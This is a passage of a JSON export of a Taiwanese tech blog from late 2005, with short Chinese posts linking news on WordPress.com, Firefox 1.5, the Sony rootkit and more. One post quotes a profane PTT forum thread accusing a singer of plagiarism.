    "body": "<a href=\"http://photomatt.com/\" rel=\"tag\">Matt</a> 在他的 Blog 上說他們決定開放 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 給所有人申請：<a href=\"http://photomatt.net/2005/11/21/wordpresscom-open/\">WordPress.com Open</a>。\r\n\r\n目前 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 雖然是用 WordPress-mu，但可以看出來目前跟的很緊，幾乎所有的 Beta code 都有上去。而且目前穩定性看起來也還可以，不過如果完全開放後不知道會怎樣 :p\r\n\r\n不過，可以預期的是上面會有大量的 Spam Blogs 寄生... (Spam Blogs 可以參考 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 對於 <a href=\"http://en.wikipedia.org/wiki/Splog\" rel=\"tag\">Splog</a> 的說明)",
    "title": "WordPress.com 開放申請"
  },
  {
    "id": "211",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上看到 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 暫時停止 <a href=\"http://www.google.com/analytics/\" rel=\"tag\">Google Analytics</a> 的申請了：<a href=\"http://digg.com/technology/Google_Analytics_stops_accepting_signups_with_234%2C725_accounts\">Google Analytics stops accepting signups with 234,725 accounts</a>。\r\n\r\n在申請的頁面上也可以看到說明：\r\n<blockquote>Thank you for your interest in Google Analytics!\r\n\r\nGoogle Analytics has experienced extremely strong demand, and as a result, we have temporarily limited the number of new signups as we increase capacity. In the meantime, please submit your name and email address and we will notify you as soon as we are ready to add new accounts. Thank you for your patience.</blockquote>\r\nScale 不一樣果然就很容易爛 :p",
    "title": "Google Analytics"
  },
  {
    "id": "212",
    "body": "<a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到的瘋狂消息：<a href=\"http://digg.com/links/Download_WikiPedia\">Download WikiPedia</a>。\r\n\r\n在 <a href=\"http://download.wikimedia.org/\">Wikimedia database dumps</a> 這頁裡面有 <a href=\"http://wikimedia.org/\" rel=\"tag\">Wikimedia</a> 每一項計畫的 dumpfile (有些是 SQL export，有些是 XML export)，當然，<a href=\"http://wikipedia.org/\" rel=\"tag\">Wikipedia</a> 也在內。\r\n\r\n不過檔案也太大了點吧 XD",
    "title": "將 Wikipedia 下載到本機上"
  },
  {
    "id": "213",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到的：<a href=\"http://digg.com/software/Google_Base_Quickly_Becoming_A_Source_For_Free_Porn\">Google Base Quickly Becoming A Source For Free Porn</a>。\r\n\r\n由於 <a href=\"http://base.google.com/\" rel=\"tag\">Google Base</a> 的便利性，馬上就有不少色情站台在上面「登錄」了，在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上面有 link 可以看，我這邊就不轉錄了 :p\r\n\r\n不過原來的文章被 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 搞掛了，連上去時 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 會跟你說 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 連不到 XD",
    "title": "Google Base 成為色情站台集散中心"
  },
  {
    "id": "214",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到的，本來以為只有中國大陸這樣搞，剛剛才發現其他國家也這樣玩：<a href=\"http://digg.com/technology/This_is_how_a_government-filtered_internet_looks\">This is how a government-filtered internet looks</a>，原報導在 <a href=\"http://www.theregister.co.uk/\" rel=\"tag\">The Register</a> 的 <a href=\"http://www.theregister.co.uk/2005/11/21/tunisia_net_filtered/\">This is how a government-filtered internet looks</a>。",
    "title": "Internet Filtering"
  },
  {
    "id": "215",
    "body": "剛剛發現 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 改版了，最大的改變應該就是把 Popular 直接放在首頁上：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/65802122/\"><img src=\"http://static.flickr.com/27/65802122_125290b357.jpg?v=0\" alt=\"\" /></a>\r\n\r\n另外 post 的時候顏色也改掉了，比較清楚，但是我覺得用暗藍色太誇張了 o_O：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/65801904/\"><img src=\"http://static.flickr.com/31/65801904_398846190c.jpg?v=0\" alt=\"\" /></a>\r\n\r\n其他的到是還沒去注意 :p\r\n\r\n<strong>Update</strong>：剛剛注意到有個 daily blog posting (點進 settings 後，右邊 experimental 的部分)，晚點來試看看...",
    "title": "del.icio.us 改版"
  },
  {
    "id": "216",
    "body": "據 <a href=\"http://blog.outer-court.com/\" rel=\"tag\">Google Blogoscoped</a> 說 Google Search 時出現的 News 可以 Expand/Collapse 了：<a href=\"http://blog.outer-court.com/archive/2005-11-22.html#n30\">Google Expand/ Collapse News Result</a>。\r\n\r\n不過我剛剛測試了一下繁體中文版的部分，似乎沒有出現啊...",
    "title": "Google 搜尋的改善"
  },
  {
    "id": "217",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到有人用 AJAX 把 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 搞成 \"Wikipedia Suggest\"：<a href=\"http://digg.com/technology/AJAX_Wikipedia_%3D_More_Powerful_Wiki_Searches\">AJAX + Wikipedia = More Powerful Wiki Searches</a>。\r\n\r\n不過，玩了一下發現速度有點慢啊，該不會是又被 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 搞掛了吧 XD",
    "title": "Wikipedia Suggest"
  },
  {
    "id": "218",
    "body": "<a href=\"http://www.sony.com/\" rel=\"tag\">Sony</a> Rootkit 的教訓告訴我們平常最好關閉 Windows Autorun 的功能。\r\n\r\n隨手找 \"<a href=\"http://www.google.com/search?q=Disable+autorun\">Disable Autorun</a>\" 就找到一篇 <a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a> 的舊文章：<a href=\"http://features.engadget.com/entry/3239236478279892/\">How-To Tuesday: Disable AutoRun on Windows!</a>，裡面有告訴你怎麼用 <code>regedit</code> 拔掉，不過 comments 15 提到的方法 (用 Group Policy 改) 好像比較好 :p",
    "title": "關閉 Autorun 的功能"
  },
  {
    "id": "219",
    "body": "在 <a href=\"http://blog.yam.com/ixblog/\" rel=\"tag\">IX blog beta</a> 提到了 <a href=\"http://www.torrentspy.com/\" rel=\"tag\">Torrentspy</a>：<a href=\"http://blog.yam.com/ixblog/archives/775020.html\">那顆種子最漂亮？BT 的 digg 機制</a>。\r\n\r\n然而，昨天有人說：<a href=\"http://sunbeltblog.blogspot.com/2005/11/torrentspy-distributing-adware-version.html\">TorrentSpy distributing adware version of Rufus torrent client</a>，大家自己考量看看吧。",
    "title": "Torrentspy 的 Spyware"
  },
  {
    "id": "220",
    "body": "隨便寫寫，開頭只先講幾個常用的 model，然後說明為什麼要用 <a href=\"http://www.monkey.org/~provos/libevent/\" rel=\"tag\">libevent</a>，然後舉個簡單的例子：\r\n<ul>\r\n\t<li><a href=\"http://blog.gslin.info/2005/11/network-programming-using-libevent-i.html\">Network Programming Using Libevent - (I)</a> (<a href=\"http://blog.gslin.info/\" rel=\"tag\">Gea-Suan Lin's BLOG for Class</a>)</li>\r\n\t<li><a href=\"http://blog.gslin.net/2005/11/network-programming-using-libevent-i.html\">Network Programming Using Libevent - (I)</a> (<a href=\"http://blog.gslin.net/\" rel=\"tag\">Gea-Suan Lin's BLOG for Networking</a>)</li>\r\n\t<li><a href=\"http://blog.gslin.info/2005/11/network-programming-using-libevent-ii.html\">Network Programming Using Libevent - (II)</a> (<a href=\"http://blog.gslin.info/\" rel=\"tag\">Gea-Suan Lin's BLOG for Class</a>)</li>\r\n\t<li><a href=\"http://blog.gslin.net/2005/11/network-programming-using-libevent-ii.html\">Network Programming Using Libevent - (II)</a> (<a href=\"http://blog.gslin.net/\" rel=\"tag\">Gea-Suan Lin's BLOG for Networking</a>)</li>\r\n\t<li><a href=\"http://blog.gslin.info/2005/11/network-programming-using-libevent-iii.html\">Network Programming Using Libevent - (III)</a> (<a href=\"http://blog.gslin.info/\" rel=\"tag\">Gea-Suan Lin's BLOG for Class</a>)</li>\r\n\t<li><a href=\"http://blog.gslin.net/2005/11/network-programming-using-libevent-iii.html\">Network Programming Using Libevent - (III)</a> (<a href=\"http://blog.gslin.net/\" rel=\"tag\">Gea-Suan Lin's BLOG for Networking</a>)</li>\r\n</ul>",
    "title": "Libevent 的使用 (簡介)"
  },
  {
    "id": "221",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到的新聞：<a href=\"http://developers.slashdot.org/article.pl?sid=05/11/24/2249233\">GCC 4.1 Released</a>。\r\n\r\n依照 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的說法，這個版本終於可以將 Java code 編成 native code 了？聽起來就是個超惡搞啊 XD",
    "title": "GCC 4.1 釋出"
  },
  {
    "id": "222",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.kazaa.com/\" rel=\"tag\">Kazaa</a> 在澳洲法院的命令下被迫修改 Search Function：<a href=\"http://slashdot.org/article.pl?sid=05/11/25/0421251\">Kazaa Forced To Modify Search Engine</a>。\r\n\r\n不過 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 寫的更直接：<a href=\"http://digg.com/software/Don_t_update_your_version_of_Kazaa\">Don't update your version of Kazaa</a> XD",
    "title": "Kazaa 被迫修改 Search Function"
  },
  {
    "id": "223",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到的，Firefox 1.5 釋出時將會鼓勵使用者以各種方式向全世界的人推廣，告訴他們使用 <a href=\"http://www.mozilla.org/projects/firefox/\" rel=\"tag\">Firefox</a> 的好處：<a href=\"http://digg.com/software/Firefox_prepares_for_open-source_marketing_campaign\">Firefox prepares for open-source marketing campaign</a>。\r\n\r\n目前 <a href=\"http://www.mozilla.org/projects/firefox/\" rel=\"tag\">Firefox</a> 的佔有率大約是 10% 上下，不知道 1.5 出來以後會增加多少 :o",
    "title": "Firefox 1.5 的推廣活動"
  },
  {
    "id": "224",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到有人幫 <a href=\"http://maps.google.com/\" rel=\"tag\">Google Maps</a> (現在叫 <a href=\"http://local.google.com/\" rel=\"tag\">Google Local</a>) 搞的電視廣告，我笑了 XD XD XD：<a href=\"Google Maps Commercial\">Google Maps Commercial</a>。\r\n\r\nLink 在 <a href=\"http://video.google.com/\" rel=\"tag\">Google Video</a> 上：<a href=\"http://video.google.com/videoplay?docid=-113021604239461824\">http://video.google.com/videoplay?docid=-113021604239461824</a>。\r\n\r\n請注意：這不是 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 自己製作的廣告。",
    "title": "惡搞 Google Maps 的廣告"
  },
  {
    "id": "225",
    "body": "<a href=\"http://blog.outer-court.com/\" rel=\"tag\">Google Blogoscoped</a> 把幾個比較大的 Search Engine 輸入 keyword 的寬度拿出來比較：<a href=\"http://blog.outer-court.com/archive/2005-11-26-n20.html\">Does Size Matter?</a>。\r\n\r\n<a href=\"http://search.msn.com/\" rel=\"tag\">MSN</a> 330 pixel，<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 352 pixel，<a href=\"http://www.ask.com/\" rel=\"tag\">Ask Jeeves</a> 365 pixel，<a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 380 pixel。\r\n\r\n呃，平常在用沒什麼感覺...",
    "title": "Search Engine 的 Input Size"
  },
  {
    "id": "226",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.mozilla.org/projects/firefox/\" rel=\"tag\">Firefox</a> 1.5 裡面引入了 Canvas：<a href=\"http://games.slashdot.org/article.pl?sid=05/11/27/150233\">Firefox 3D Canvas FPS Engine</a>。\r\n\r\n目前有支援 Canvas 的 Browser 包括了 <a href=\"http://www.mozilla.org/projects/firefox/\" rel=\"tag\">Firefox</a> (1.5，不確定 <del datetime=\"2005-11-28T15:53:25+00:00\">Deep</del> Deer Park 有沒有)、<a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a>、<a href=\"http://www.apple.com/safari/\" rel=\"tag\">Safari</a>，拿來做一些 3D Layout 似乎可以嘗試看看 :)",
    "title": "Firefox 1.5 的 Canvas"
  },
  {
    "id": "227",
    "body": "剛剛在 <a href=\"http://www.ptt.cc/\" rel=\"tag\">Ptt</a> 的 Browsers 板上看到 11/24 的時候有人做了一個 <a href=\"http://findbook.tw/\" rel=\"tag\">Findbook.tw</a> 的 Firefox Search Plugins，放在 <a href=\"http://rapidshare.de/files/8082269/Findbook.rar.html\">http://rapidshare.de/files/8082269/Findbook.rar.html</a>，原始的文章在這篇：<a href=\"http://www.ptt.cc/bbs/Browsers/M.1132828678.A.756.html\">[-Fx-] 書籍比價(Findbook) search plugins</a>。",
    "title": "Findbook.tw 的 Firefox Search Plugins"
  },
  {
    "id": "228",
    "body": "在 <a href=\"http://info.nctu.edu.tw/\" rel=\"tag\">聯合服務中心</a> 的網頁上看到這個：<a href=\"http://info.nctu.edu.tw/news/show_news.php?act_no=6886\">本年度借書量前六名</a>。\r\n\r\n嗯，457 本？嗯？嗯？嗯？",
    "title": "借書？"
  },
  {
    "id": "229",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到有人打算立法，限制色情網站只能用某些 TCP/IP port，這樣才可以很方便地用 firewall 擋住：<a href=\"http://politics.slashdot.org/article.pl?sid=05/11/28/1235211\">Ports for Porn - Using Firewalls to Block Porn</a>。\r\n\r\n嗯，我喜歡這個 idea :p",
    "title": "阻擋色情網站"
  },
  {
    "id": "230",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 看到有人放了十二個碟型天線，<del datetime=\"2005-11-29T16:22:33+00:00\">然後用程式去盯五千個頻道</del> XD：<a href=\"http://www.boingboing.net/2005/11/28/man_gets_5000_channe.html\">Man gets 5,000+ channels on 12 dishes</a>。\r\n\r\n不過讓我笑出來的是這張圖，他居然這樣放 XD\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/68261861/\"><img src=\"http://static.flickr.com/12/68261861_d266f86ac4.jpg?v=0\" alt=\"\" /></a>",
    "title": "碟型天線"
  },
  {
    "id": "231",
    "body": "平常是用 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 的 Bookmarklet 整理連結，不過缺點就是慢 (要先連到 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 上)。\r\n\r\n剛剛在 <a href=\"http://goston.blogspot.com/\" rel=\"tag\">Goston's Blog</a> 上看到了這個：<a href=\"http://goston.blogspot.com/2005/11/ff-delicious-firefox-extension.html\">[FF] del.icio.us 官方推出 Firefox Extension</a>，於是我就跑去抓 Unofficial Version 的 <a href=\"http://delicious.mozdev.org/\" rel=\"tag\">delicious</a> XD\r\n\r\n嘗試 Bookmark 一個 url，頗不錯啊，過一陣子如果還在用的話再說好了 :p",
    "title": "del.icio.us 的 Firefox Extension"
  },
  {
    "id": "232",
    "body": "在 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 首頁上 (旁邊的 Popular) 看到這個：<a href=\"http://tryruby.hobix.com/\" rel=\"tag\">Try Ruby</a>，看起來應該是用 AJAX 的方式將輸入的命令丟給 server，然後再把輸出結果丟出來，於是你就可以在 Browser 上執行 Ruby Command 了 :p\r\n\r\n不知道有沒有人做 <a href=\"http://www.perl.com/\" rel=\"tag\">Perl</a> 以及 <a href=\"http://www.python.org/\" rel=\"tag\">Python</a> 的...",
    "title": "Try Ruby"
  },
  {
    "id": "233",
    "body": "<a href=\"http://www.mozilla.org/products/firefox/\" rel=\"tag\">Firefox 1.5</a> 正式 Release：<a href=\"http://www.mozilla.com/firefox/\">Firefox - Rediscover the web</a>。\r\n\r\n因為以前就在用 1.5 Beta 了，所以裝起來以後沒什麼感覺，sorry XD",
    "title": "Firefox 1.5 正式推出"
  },
  {
    "id": "234",
    "body": "先給檔案，除了原作者提供的網頁外，我也提供 Local Mirror 以免抓不到：<a href=\"http://files.gslin.org.nyud.net:8090/Music/09-MYT.rm\" rel=\"tag\">09-MYT.rm</a> 與 <a href=\"http://files.gslin.org.nyud.net:8090/Music/13-TheSnowVillageLaine.rm\" rel=\"tag\">13-TheSnowVillageLaine.rm</a>。\r\n\r\n這次又是 <a href=\"http://www.ptt.cc/\" rel=\"tag\">Ptt</a> 的 <a href=\"http://www.ptt.cc/bbs/Hate/\" rel=\"tag\">Hate</a> 板暴動：「[超幹]周杰倫的麥芽糖前奏完全抄襲」。原文已經被刪除了，不過從奇怪的地方拿到原文 o_O\r\n<blockquote>作者: gamearts (GRANDIA本命) 看板: Hate\r\n標題: [超幹]周杰倫的麥芽糖前奏完全抄襲\r\n時間: Thu Dec  1 15:05:08 2005\r\n\r\n\r\n今天聽廣播的廣告一直在猛打JAY的這首『麥芽糖』\r\n\r\n奇怪怎麼愈聽愈不對…？這個前奏明明就是GRANDIA中的配樂…\r\n\r\n翻箱找出GRANDIA的音樂原聲帶，果不其然…\r\n\r\n周杰倫『麥芽糖』的前奏根本就完全抄襲\r\n\r\n岩垂德行老師一手包辦的GRANDIA系列一代的遊戲配樂\r\n\r\nDISC 2的第13首曲目『雪村』（The Snow Village Laine）\r\n\r\n雖然這個遊戲不像永邦抄襲的AIR那麼紅啦\r\n\r\n不過好歹是我心中至今唯一能超越FF系列的嘔心瀝血之作\r\n\r\n原來周董也喜歡這遊戲？難道我該高興嗎…\r\n\r\n底下附上兩首曲子的連結，各位聽聽看就知道我有沒有誤會JAY了\r\n\r\n（都已轉成32K低音質的RM檔，單純作為比較之用）\r\n\r\n周董的麥芽糖　http://home.anet.net.tw/gamearts/09-MYT.rm\r\nGRANDIA的配樂 http://home.anet.net.tw/gamearts/13-TheSnowVillageLaine.rm\r\n\r\n\r\n\r\n\r\n--\r\n※ 發信站: 批踢踢實業坊(ptt.cc)\r\n◆ From: 220.134.113.85\r\n推 ramirez:永邦二世                                                12/01 15:05\r\n推 laugher:新置底文                                                12/01 15:06\r\n推 pttcool:魯邦三世                                                12/01 15:06\r\n推 wolver:這篇能破泳幫嗎?                                          12/01 15:06\r\n推 StyerAug:幹　　還真像~~~~~                                      12/01 15:07\r\n推 tasogare:[震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:07\r\n→ StyerAug:[震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:09\r\n推 gayfunkgogo:幹你娘  模仿功力比小郭還好                          12/01 15:09\r\n推 ibulondong: 怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:09\r\n推 TheDark: [震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:10\r\n推 omc:     [震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:11\r\n推 yaoxyao: [震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:12\r\n推 isare:[震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！            12/01 15:12\r\n推 dinggugu:[震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:12\r\n→ pttcool: [震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:12\r\n→ aqnf:還好...                                                    12/01 15:12\r\n推 moboo:   [震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:12\r\n推 three3:  [震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:13\r\n推 howzencard: 怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:14\r\n推 gayfunkgogo:怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:14\r\n推 amou1030:[震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:14\r\n推 sumumu:  [震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:14\r\n推 bainll:  [震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:14\r\n推 pomin25:[震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！          12/01 15:15\r\n推 mucho:   [震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:16\r\n→ Fugax:   [震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:16\r\n推 jenhau:  [震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:17\r\n推 bzkid:   [震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:17\r\n推 firingmoon: 怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:18\r\n推 guppys2005:這不是像吧  是一模一樣吧......                       12/01 15:19\r\n推 aaeL:     恩   給周董一點顏射瞧瞧                               12/01 15:22\r\n推 coinage: [震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:23\r\n推 MashRoom:......還真的一模一樣......                             12/01 15:24\r\n→ MashRoom:[震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:24\r\n推 cosy:真的很像耶.....                                            12/01 15:25\r\n推 kvzhuang:[震怒] 幹您娘！周滷蛋的\"麥芽糖\"是抄襲GRANDIA！         12/01 15:28\r\n</blockquote>",
    "title": "又是抄襲：周杰倫的「麥芽糖」前奏"
  },
  {
    "id": "235",
    "body": "這陣子透過「無名小站」當關鍵字連舊站的量增加很多 (應該是因為「<a href=\"http://www.wretch.cc/blog/wiego\" rel=\"tag\">瑋哥 Blog</a>」的關係吧，用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 與 <a href=\"http://search.yahoo.com/\" rel=\"tag\">Yahoo!</a> 查「無名小站」，那篇講無名不穩定的文章都緊接在官方站台的 entry 下)。\r\n\r\n剛剛在 <a href=\"http://zh.wikipedia.org/\" rel=\"tag\">維基百科</a> 上也看到了無名的 entry：<a href=\"http://zh.wikipedia.org/wiki/%E7%84%A1%E5%90%8D%E5%B0%8F%E7%AB%99\" rel=\"tag\">無名小站</a>，不過似乎是六月的時候寫的，後來就沒在更新了 :p",
    "title": "無名小站 (Wikipedia)"
  },
  {
    "id": "236",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到的消息：<a href=\"http://digg.com/hardware/LinkSys_courts_Linux_hackers_with_WRT54G_L_\">LinkSys courts Linux hackers with WRT54G\"L\"</a>。\r\n\r\n<a href=\"http://www.linksys.com/\" rel=\"tag\">LinkSys</a> 的 <a href=\"http://en.wikipedia.org/wiki/WRT54G\" rel=\"tag\">WRT54G</a> (<a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 對 WRT54G 的介紹) 因為以 USD$60 提供了 4MB RAM + 16MB Flash，而常常被一些 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 玩家買回去重新塞自己做的 Flash :p\r\n\r\n在最新版的 <a href=\"http://www.linksys.com/\" rel=\"tag\">LinkSys</a> WRT54G (5.0) 因為改進到只需要 2MB + 8MB Flash，於是市場上就開始有收購的熱潮 :p 結果 <a href=\"http://www.linksys.com/\" rel=\"tag\">LinkSys</a> 跳出來說 <a href=\"http://www.linksys.com/\" rel=\"tag\">LinkSys</a> 還是會繼續提供 WRT54G (4.0) 給 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 玩家惡搞 :p",
    "title": "LinkSys 將繼續提供 WRT54G (4.0)"
  },
  {
    "id": "237",
    "body": "戰場又即將在法國爆發。\r\n\r\n在 <a href=\"http://www.videolan.org/\" rel=\"tag\">Videolan</a> 的網站這樣寫：\r\n<blockquote>During the night of 22nd to 23rd December 2005, while everybody is preparing for Christmas, the French Parliament will rule about the \"DADVSI\" law. This vote will be made with minimal discussion, as an \"emergency\" has been declared on this law.</blockquote>\r\n\r\n<strong>Update</strong>：<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 也報導了這項消息：<a href=\"http://yro.slashdot.org/article.pl?sid=05/12/02/2040237\">France Hostile To Open Source Software?</a>。",
    "title": "法國版 DMCA - DADVSI"
  },
  {
    "id": "238",
    "body": "<a href=\"http://jeremy.zawodny.com/blog/\" rel=\"tag\">Jeremy Zawodny</a> 稍微介紹了 <a href=\"http://dev.mysql.com/doc/refman/5.1/en/\" rel=\"tag\">MySQL 5.1</a>：<a href=\"http://jeremy.zawodny.com/blog/archives/005804.html\">MySQL 5.1 Appears: Partitioning, Dynamic Plugins, and more...</a>。\r\n\r\n等 Ports 有了以後找台來測試看看...",
    "title": "MySQL 5.1"
  },
  {
    "id": "239",
    "body": "這幾天把 Laptop (IBM X31 2672-IQV) 換成 <a href=\"http://www.tw.freebsd.org/\" rel=\"tag\">FreeBSD</a> 6.0，一方面當然是為了 SA 作業的需要，另外一方面是想要知道在 X-Window 下中文的部份到底可以出現多少東西 :p\r\n\r\n這幾天這樣玩下來發現很多東西結果比我料想中的好很多，在不太看 Document 的情況下 (這是壞習慣，請不要學了以後還一直跑到 386BSD 或是 #bsdchat 上面幹勦說某某東西不能用，結果只因為你沒看文件 XD) 到 /usr/ports/chinese/ 下猛裝 (尤其是字型，幾乎全裝上去了)，然後把 locale 設定好，幾乎就都能用了 :p\r\n\r\n<a href=\"http://www.icewm.org/\" rel=\"tag\">icewm</a> 與 xcin2.5 + rxvt-devel (我知道會有人推薦 gcin，不過我還沒測試過) 一開始有些問題，後來找了一下發現 <a href=\"http://www.in2home.org/\" rel=\"tag\">色兔子</a> 早就寫過了：<a href=\"http://in2.wiki.ptt.cc/-xcin+root+mode+with+icewm\">xcin root mode with icewm</a>，照著兔子講的設定方式設定後幾乎沒什麼問題 (其實好幾年前就蠻穩定的了)，用 kc15f 與 kc8x15 也沒有像以前會有殘影 (15 != 16 的關係)，所以也不太需要 gugod-clean 了 :p\r\n\r\n再來是前幾天剛出的 <a href=\"http://www.mozilla.org/products/firefox/\" rel=\"tag\">Firefox</a> 1.5，在 locale 正確的情況下裝起來就可以看中文、打中文 (輸入法的部份使用標準的 XIM)，比起很久以前的 Mozilla Suite，呃... 我記得當初好多 hack 在跑 :p 另外預設的字型很棒，直接吃 Firefly 版文鼎字。\r\n\r\n其他的東西，大致上都是在系計中討論解決 (感謝<a href=\"http://jnlin.org/\" rel=\"tag\">長輩一</a>、<a href=\"http://www.csie.nctu.edu.tw/~sylin/\" rel=\"tag\">長輩二</a>)，或是在我的 BBS 看板上問，都會有長輩 (<a href=\"http://www.rafan.org/\" rel=\"tag\">長輩三</a>、<a href=\"http://ilan.twbbs.org:8080/query/chinsan\" rel=\"tag\">長輩四</a>) 伸出援手，所以一切順暢無比 :p",
    "title": "將 Laptop 換成 FreeBSD 6"
  },
  {
    "id": "240",
    "body": "<a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 繼續在追蹤 <a href=\"http://www.sonybmg.com/\" rel=\"tag\">Sony BMG</a> Rootkit 的事情：<a href=\"http://www.boingboing.net/2005/12/03/sony_rootkit_roundup.html\">Sony Rootkit Roundup IV</a>。",
    "title": "Sony Rootkit 事件"
  },
  {
    "id": "241",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/69710576/\"><img src=\"http://static.flickr.com/20/69710576_d42db73fe1_m.jpg\" alt=\"\" style=\"float: left; margin: 0 1em 1em 0;\" /></a> <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 <a href=\"http://www.sony.com/\" rel=\"tag\">Sony</a> 推廣 PSP 的惡行惡狀：<a href=\"http://www.sony.com/\" rel=\"tag\">Sony</a> (或是 <a href=\"http://www.sony.com/\" rel=\"tag\">Sony</a> 所委託的廣告公司) 僱用畫家在城市裡面到處亂塗鴉被發現 (<a href=\"http://digg.com/gaming/Sony_Caught_Using_Fake_Graffiti_to_Promote_PSP\">Sony Caught Using \"Fake\" Graffiti to Promote PSP</a>)。\r\n\r\n原文在 <a href=\"http://www.secondaryscreening.net/static/archives/2005/11/\">Sony's Fony Graffiti</a> 這篇，你可以看到有其他的畫家直接在上面惡搞 XD\r\n\r\n這家公司的形象愈來愈...",
    "title": "Sony 推廣 PSP 所使用的惡行"
  },
  {
    "id": "242",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上看到 <a href=\"http://digg.com/security/Google_Blocking_Search_Results_Because_of_DMCA\">Google Blocking Search Results Because of DMCA</a>，依照他給的 link 搜尋，果然在最下面這樣寫：\r\n<blockquote>In response to a complaint we received under the US <a href=\"http://www.google.com/dmca.html\">Digital Millennium Copyright Act</a>, we have removed 3 result(s) from this page. If you wish, you may read the DMCA complaint that caused the removal(s) at <a href=\"http://www.chillingeffects.org/dmca512/notice.cgi?NoticeID=861\">ChillingEffects.org</a>.</blockquote>\r\n在後面的這份文件裡 (<a href=\"http://www.chillingeffects.org/dmca512/notice.cgi?NoticeID=861\">KaZaA Owner Complains to Google (#5)</a>) 可以看到 <a href=\"http://www.kazaa.com/\" rel=\"tag\">KaZaA</a> 要求 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 依照 DMCA 移除其他非官方 KaZzA site 的資訊：尤其是把 Spyware 幹掉的 <a href=\"http://www.oldversion.com/program.php?n=kazaalite\" rel=\"tag\">KaZzA Lite</a> :p",
    "title": "Google Search Blocked by DMCA (KaZaA)"
  },
  {
    "id": "243",
